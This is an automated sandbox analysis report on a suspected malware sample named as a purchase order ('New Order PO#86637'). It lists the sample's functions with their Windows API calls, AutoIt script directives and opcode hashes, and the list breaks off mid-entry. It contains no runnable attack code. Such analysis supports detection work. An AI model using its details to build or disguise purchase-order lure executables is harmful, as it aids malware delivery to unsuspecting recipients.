Download Yara Rule

APIs

LogonUserW.ADVAPI32(?,?,?,?,00000000,?), ref: 00436CF9

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: LogonUser
String ID:
API String ID: 1244722697-0
Opcode ID: 58321df28e67eb099ee318ec18723cdf01b8a378577a77c5fc1e9d8837392bcc
Instruction ID: 7208d1371e48addad7a82bf776aec5a394cd9d1c10cc53d221989696c058f8f6
Opcode Fuzzy Hash: 58321df28e67eb099ee318ec18723cdf01b8a378577a77c5fc1e9d8837392bcc
Instruction Fuzzy Hash: 4DE0ECB626460EAFDB04CF68DC42EBF37ADA749710F004618BA16D7280C670E911CA74

Function 00472C3F Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,?), ref: 00472C51

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: b76fc723219d1f30d7a8c85bc8b1429fb957fe091183e5ae036ed6f26941642b
Instruction ID: cbdb53fe1e94bfc77c89611ca4b62432a5518fa0aa6a76fb1323f8d63e00c007
Opcode Fuzzy Hash: b76fc723219d1f30d7a8c85bc8b1429fb957fe091183e5ae036ed6f26941642b
Instruction Fuzzy Hash: C3C04CB5004008EBDB148F50D9889D93B78BB04340F108199B60E95040D7B496C9DBA5

Function 0041F250 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0001F20E), ref: 0041F255

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: c60cc95176153529ac13be9fefe03fec559109ed9a450e1086cc56a024ff5f26
Instruction ID: fb0c5f5a3ae0de1c345b26270a1521b23addb5e119a177cdcf8b78f668196b28
Opcode Fuzzy Hash: c60cc95176153529ac13be9fefe03fec559109ed9a450e1086cc56a024ff5f26
Instruction Fuzzy Hash: 8190027625150157470417705E1964925905B5960275108BA6D11C8564DAA98089A619

Function 0042200C Relevance: 1.4, Strings: 1, Instructions: 180COMMONLIBRARYCODE

Download Yara Rule

Strings

N@, xrefs: 0042201C

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID:
String ID: N@
API String ID: 0-1509896676
Opcode ID: 92e9a144b7047ce14b539b05f6d9118c1a7fbc1d7368d7adfc1bc9e5646efcc8
Instruction ID: 433aa61276291b0397d7e0efaabfbd78b7095b9e612e68cb1662ee3b8c9c8781
Opcode Fuzzy Hash: 92e9a144b7047ce14b539b05f6d9118c1a7fbc1d7368d7adfc1bc9e5646efcc8
Instruction Fuzzy Hash: 48618E71A003259FCB18CF48D584AAEBBF2FF84310F5AC1AED9095B361C7B59955CB88

Function 0040FA10 Relevance: .6, Instructions: 607COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ccd90b163c6adb52abe1d2335d475eb1e8f24fdd15ffb4383e0e414a09222a9
Instruction ID: 421b1f2eadcb2952f8febc08502f38db6b120a980ad90a3a21cdce547adf9c29
Opcode Fuzzy Hash: 9ccd90b163c6adb52abe1d2335d475eb1e8f24fdd15ffb4383e0e414a09222a9
Instruction Fuzzy Hash: 132270B7E5151A9BDB08CE95CC415D9B3A3BBC832471F9129D819E7305EE78BA078BC0

Function 004129D0 Relevance: .4, Instructions: 355COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f02dcea883d10451d84a59732baab65edb0b568fbd8ca007beb23fa60eef1400
Instruction ID: 2bcfc4213c201322ab01e918109ed7ba488288358e1fe6702c600853dbf8b640
Opcode Fuzzy Hash: f02dcea883d10451d84a59732baab65edb0b568fbd8ca007beb23fa60eef1400
Instruction Fuzzy Hash: 9CC1B473D0E6B3058B35466D45182BFFE626E91B8031FC392DDD03F399C22AADA196D4

Function 004125E8 Relevance: .3, Instructions: 349COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c69e47d847606dd43a020a10b245ffd8c98205713db3c8f796c6159738d0b06
Instruction ID: 7014f9c6c4bb04029b5f83a2624c32223adacf072d8c068e18a9ecb8bc3ae66d
Opcode Fuzzy Hash: 0c69e47d847606dd43a020a10b245ffd8c98205713db3c8f796c6159738d0b06
Instruction Fuzzy Hash: 04C1A473D1A6B2058B36476D05182BFFE626E91B8031FC3D6CCD03F299C22AAD9596D4

Function 00412216 Relevance: .3, Instructions: 332COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21018234ac6c65dce347e9eb3c09d9e563dc327998c84d170fb29f747537f1fa
Instruction ID: 878ae001d8650add2b069b622ec184fb54f95ec25c04ba16196e518284591b6f
Opcode Fuzzy Hash: 21018234ac6c65dce347e9eb3c09d9e563dc327998c84d170fb29f747537f1fa
Instruction Fuzzy Hash: FBC19473D0A6B2068B36476D05582BFFE626E91B8131FC3D2CCD03F299C22AAD9595D4

Function 004594E9 Relevance: 79.2, APIs: 41, Strings: 4, Instructions: 490filewindowcomCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(?), ref: 0045953B
DeleteObject.GDI32(?), ref: 00459551
DestroyWindow.USER32(?), ref: 00459563
GetDesktopWindow.USER32 ref: 00459581
GetWindowRect.USER32(00000000), ref: 00459588
SetRect.USER32(?,00000000,00000000,000001F4,00000190), ref: 0045969E
AdjustWindowRectEx.USER32(?,88C00000,00000000,?), ref: 004596AC
CreateWindowExW.USER32(?,AutoIt v3,00000000,?,88C00000,00000002,00000007,?,?,?,00000000,00000000), ref: 004596E8
GetClientRect.USER32(00000000,?), ref: 004596F8
CreateWindowExW.USER32(00000000,static,00000000,5000000E,00000000,00000000,?,?,?,00000000,00000000,00000000), ref: 0045973B
CreateFileW.KERNEL32(00000000,000001F4,80000000,00000000,00000000,00000003,00000000,00000000), ref: 00459760
GetFileSize.KERNEL32(00000000,00000000), ref: 0045977B
GlobalAlloc.KERNEL32(00000002,00000000), ref: 00459786
GlobalLock.KERNEL32(00000000), ref: 0045978F
ReadFile.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 0045979E
GlobalUnlock.KERNEL32(00000000), ref: 004597A5
CloseHandle.KERNEL32(00000000), ref: 004597AC
CreateStreamOnHGlobal.OLE32(00000000,00000001,000001F4), ref: 004597B9
OleLoadPicture.OLEAUT32(000001F4,00000000,00000000,004829F8,00000000), ref: 004597D0
GlobalFree.KERNEL32(00000000), ref: 004597E2
CopyImage.USER32(50000001,00000000,00000000,00000000,00002000), ref: 0045980E
SendMessageW.USER32(00000000,00000172,00000000,50000001), ref: 00459831
SetWindowPos.USER32(00000000,00000000,00000000,00000000,?,?,00000020), ref: 00459857
ShowWindow.USER32(?,00000004), ref: 00459865
CreateWindowExW.USER32(00000000,static,00000000,000001F4,50000001,0000000B,0000000B,?,?,?,00000000,00000000), ref: 004598AF
CreateDCW.GDI32(DISPLAY,00000000,00000000,00000000), ref: 004598C3
GetStockObject.GDI32(00000011), ref: 004598CD
SelectObject.GDI32(00000000,00000000), ref: 004598D5
GetTextFaceW.GDI32(00000000,00000040,?), ref: 004598E5
GetDeviceCaps.GDI32(00000000,0000005A), ref: 004598EE
DeleteDC.GDI32(00000000), ref: 004598F8
_wcslen.LIBCMT ref: 00459916
_wcscpy.LIBCMT ref: 0045993A
CreateFontW.GDI32(?,00000000,00000000,00000000,00000190,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,?), ref: 004599DB
SendMessageW.USER32(00000000,00000030,00000000,00000001), ref: 004599EF
GetDC.USER32(00000000), ref: 004599FC
SelectObject.GDI32(00000000,?), ref: 00459A0C
SelectObject.GDI32(00000000,00000007), ref: 00459A37
ReleaseDC.USER32(00000000,00000000), ref: 00459A42
MoveWindow.USER32(00000000,0000000B,?,?,00000190,00000001), ref: 00459A5F
ShowWindow.USER32(?,00000004,?,00000000,00000000,00000000,00000190,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,?), ref: 00459A6D

Strings

, xrefs: 004599F5
static, xrefs: 0045972D, 004598A8
AutoIt v3, xrefs: 004596E2
DISPLAY, xrefs: 004598BB

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: Window$Create$Object$Global$Rect$DeleteFileSelect$MessageSendShow$AdjustAllocCapsClientCloseCopyDesktopDestroyDeviceFaceFontFreeHandleImageLoadLockMovePictureReadReleaseSizeStockStreamTextUnlock_wcscpy_wcslen
String ID: $AutoIt v3$DISPLAY$static
API String ID: 4040870279-2373415609
Opcode ID: 6d6993f212ed0893db9275c3f84f169bec7eeddded5228c42ae13acbc858d7fb
Instruction ID: 0470743097681e939cd033c9659fc80dd101af82a4c7fdd8c03ae3a829a790b9
Opcode Fuzzy Hash: 6d6993f212ed0893db9275c3f84f169bec7eeddded5228c42ae13acbc858d7fb
Instruction Fuzzy Hash: 92027D71600204EFDB14DF64CD89FAE7BB9BB48305F108569FA05AB292D7B4ED05CB68

Function 004417BF Relevance: 49.8, APIs: 33, Instructions: 275COMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000012), ref: 0044181E
SetTextColor.GDI32(?,?), ref: 00441826
GetSysColorBrush.USER32(0000000F), ref: 0044183D
GetSysColor.USER32(0000000F), ref: 00441849
SetBkColor.GDI32(?,?), ref: 00441864
SelectObject.GDI32(?,?), ref: 00441874
InflateRect.USER32(?,000000FF,000000FF), ref: 004418AA
GetSysColor.USER32(00000010), ref: 004418B2
CreateSolidBrush.GDI32(00000000), ref: 004418B9
FrameRect.USER32(?,?,00000000), ref: 004418CA
DeleteObject.GDI32(?), ref: 004418D5
InflateRect.USER32(?,000000FE,000000FE), ref: 0044192F
FillRect.USER32(?,?,?), ref: 00441970

Part of subcall function 004308EF: GetSysColor.USER32(0000000E), ref: 00430913
Part of subcall function 004308EF: SetTextColor.GDI32(?,00000000), ref: 0043091B
Part of subcall function 004308EF: GetSysColorBrush.USER32(0000000F), ref: 0043094E
Part of subcall function 004308EF: GetSysColor.USER32(0000000F), ref: 00430959
Part of subcall function 004308EF: GetSysColor.USER32(00000011), ref: 00430979
Part of subcall function 004308EF: CreatePen.GDI32(00000000,00000001,00743C00), ref: 0043098B
Part of subcall function 004308EF: SelectObject.GDI32(?,00000000), ref: 0043099C
Part of subcall function 004308EF: SetBkColor.GDI32(?,?), ref: 004309A6
Part of subcall function 004308EF: SelectObject.GDI32(?,?), ref: 004309B4
Part of subcall function 004308EF: InflateRect.USER32(?,000000FF,000000FF), ref: 004309D9
Part of subcall function 004308EF: RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 004309F4
Part of subcall function 004308EF: GetWindowLongW.USER32(?,000000F0), ref: 00430A09
Part of subcall function 004308EF: SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 00430A29

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: Color$Rect$Object$BrushInflateSelect$CreateText$DeleteFillFrameLongMessageRoundSendSolidWindow
String ID:
API String ID: 69173610-0
Opcode ID: fbb8d870229eb44a1def9ba3881ac6b42e654f1da7cb1ff5097cb3e0d6ff825e
Instruction ID: 7a723b7ebc9985c742df47702d768576d0729d4f0beaa2415310c4eb73739e4f
Opcode Fuzzy Hash: fbb8d870229eb44a1def9ba3881ac6b42e654f1da7cb1ff5097cb3e0d6ff825e
Instruction Fuzzy Hash: 76B15BB1508301AFD304DF64DD88A6FB7F8FB88720F104A2DF996922A0D774E945CB66

Function 004590BD Relevance: 45.8, APIs: 22, Strings: 4, Instructions: 291windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?), ref: 004590F2
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 004591AF
SetRect.USER32(?,00000000,00000000,0000012C,00000064), ref: 004591EF
AdjustWindowRectEx.USER32(?,88C00000,00000000,00000008), ref: 00459200
CreateWindowExW.USER32(00000008,AutoIt v3,00000000,?,88C00000,?,?,?,00000001,?,00000000,00000000), ref: 00459242
GetClientRect.USER32(00000000,?), ref: 0045924E
CreateWindowExW.USER32(00000000,static,00000000,?,50000000,?,00000004,00000500,00000018,?,00000000,00000000), ref: 00459290
CreateDCW.GDI32(DISPLAY,00000000,00000000,00000000), ref: 004592A2
GetStockObject.GDI32(00000011), ref: 004592AC
SelectObject.GDI32(00000000,00000000), ref: 004592B4
GetTextFaceW.GDI32(00000000,00000040,?), ref: 004592C4
GetDeviceCaps.GDI32(00000000,0000005A), ref: 004592CD
DeleteDC.GDI32(00000000), ref: 004592D6
CreateFontW.GDI32(?,00000000,00000000,00000000,00000258,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,?), ref: 0045931C
SendMessageW.USER32(?,00000030,00000000,00000001), ref: 00459334
CreateWindowExW.USER32(00000200,msctls_progress32,00000000,50000001,?,0000001E,00000104,00000014,?,00000000,00000000,00000000), ref: 0045936E
SendMessageW.USER32(00000000,00000401,00000000,00640000), ref: 00459382
SendMessageW.USER32(?,00000404,00000001,00000000), ref: 00459393
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000037,00000500,00000032,?,00000000,00000000,00000000), ref: 004593C8
GetStockObject.GDI32(00000011), ref: 004593D3
SendMessageW.USER32(?,00000030,00000000), ref: 004593E3
ShowWindow.USER32(?,00000004,?,00000000,00000000,00000000,00000258,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,?), ref: 004593EE

Strings

static, xrefs: 00459289, 004593C1
msctls_progress32, xrefs: 00459364
AutoIt v3, xrefs: 0045923C
DISPLAY, xrefs: 00459298

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: Window$Create$MessageSend$ObjectRect$Stock$AdjustCapsClientDeleteDestroyDeviceFaceFontInfoParametersSelectShowSystemText
String ID: AutoIt v3$DISPLAY$msctls_progress32$static
API String ID: 2910397461-517079104
Opcode ID: 7a94e82ab5e7eba8c21ff2ad013f2909889a905bd0bc04285d9267b4528ddb10
Instruction ID: c5562805fc82c6770b180505aab83e69ed0b4cba248239bed49a3b83ebf26fc7
Opcode Fuzzy Hash: 7a94e82ab5e7eba8c21ff2ad013f2909889a905bd0bc04285d9267b4528ddb10
Instruction Fuzzy Hash: 71A18371B40214BFEB14DF64CD8AFAE7769AB44711F208529FB05BB2D1D6B4AD00CB68

Function 00403A20 Relevance: 45.7, APIs: 14, Strings: 12, Instructions: 238COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 00428414

Strings

#include, xrefs: 00428547
#NoAutoIt3Execute, xrefs: 00428451
#cs, xrefs: 004285CB, 0042861D
Cannot parse #include, xrefs: 004285A1
#OnAutoItStartRegister, xrefs: 00428473
#requireadmin, xrefs: 0042842F
#comments-end, xrefs: 00428631
#include-once, xrefs: 004284E7
#notrayicon, xrefs: 0042840C
Unterminated group of comments, xrefs: 00428684
#ce, xrefs: 00428645
#comments-start, xrefs: 004285B7, 00428609

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: __wcsnicmp
String ID: #NoAutoIt3Execute$#OnAutoItStartRegister$#ce$#comments-end$#comments-start$#cs$#include$#include-once$#notrayicon$#requireadmin$Cannot parse #include$Unterminated group of comments
API String ID: 1038674560-3360698832
Opcode ID: 23f0f58ea95d18462155f90075fe93dcb11182f556a84baaa607307f542fa917
Instruction ID: 9c7d50a5cd0ee83047e92bfb3361563e61671b380f2e7b4b5fccf758bfaba57c
Opcode Fuzzy Hash: 23f0f58ea95d18462155f90075fe93dcb11182f556a84baaa607307f542fa917
Instruction Fuzzy Hash: B5610670701621B7D711AE219C42FAF335C9F50705F50442BFE05AA286FB7DEE8686AE

Function 00430737 Relevance: 43.6, APIs: 29, Instructions: 108COMMON

Download Yara Rule

APIs

LoadCursorW.USER32(00000000,00007F89), ref: 00430754
SetCursor.USER32(00000000), ref: 0043075B
LoadCursorW.USER32(00000000,00007F8A), ref: 0043076C
SetCursor.USER32(00000000), ref: 00430773
LoadCursorW.USER32(00000000,00007F03), ref: 00430784
SetCursor.USER32(00000000), ref: 0043078B
LoadCursorW.USER32(00000000,00007F8B), ref: 0043079C
SetCursor.USER32(00000000), ref: 004307A3
LoadCursorW.USER32(00000000,00007F01), ref: 004307B4
SetCursor.USER32(00000000), ref: 004307BB
LoadCursorW.USER32(00000000,00007F88), ref: 004307CC
SetCursor.USER32(00000000), ref: 004307D3
LoadCursorW.USER32(00000000,00007F86), ref: 004307E4
SetCursor.USER32(00000000), ref: 004307EB
LoadCursorW.USER32(00000000,00007F83), ref: 004307FC
SetCursor.USER32(00000000), ref: 00430803
LoadCursorW.USER32(00000000,00007F85), ref: 00430814
SetCursor.USER32(00000000), ref: 0043081B
LoadCursorW.USER32(00000000,00007F82), ref: 0043082C
SetCursor.USER32(00000000), ref: 00430833
LoadCursorW.USER32(00000000,00007F84), ref: 00430844
SetCursor.USER32(00000000), ref: 0043084B
LoadCursorW.USER32(00000000,00007F04), ref: 0043085C
SetCursor.USER32(00000000), ref: 00430863
LoadCursorW.USER32(00000000,00007F02), ref: 00430874
SetCursor.USER32(00000000), ref: 0043087B
SetCursor.USER32(00000000), ref: 00430887
LoadCursorW.USER32(00000000,00007F00), ref: 00430898
SetCursor.USER32(00000000), ref: 0043089F

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: Cursor$Load
String ID:
API String ID: 1675784387-0
Opcode ID: c7473186da6a924b3206e1e01d9541ab2871430d40d1833d6e341d2f3415b8bd
Instruction ID: ada3a8d1d263842f4cf6b5ed80e179871947c4c62c163598e9ab22da256eac1d
Opcode Fuzzy Hash: c7473186da6a924b3206e1e01d9541ab2871430d40d1833d6e341d2f3415b8bd
Instruction Fuzzy Hash: AF3101729C8205B7EA546BE0BE1DF5D3618AB28727F004836F309B54D09AF551509B6D

Function 004308EF Relevance: 42.2, APIs: 28, Instructions: 200windowCOMMON

Download Yara Rule

APIs

GetSysColor.USER32(0000000E), ref: 00430913
SetTextColor.GDI32(?,00000000), ref: 0043091B
GetSysColor.USER32(00000012), ref: 00430933
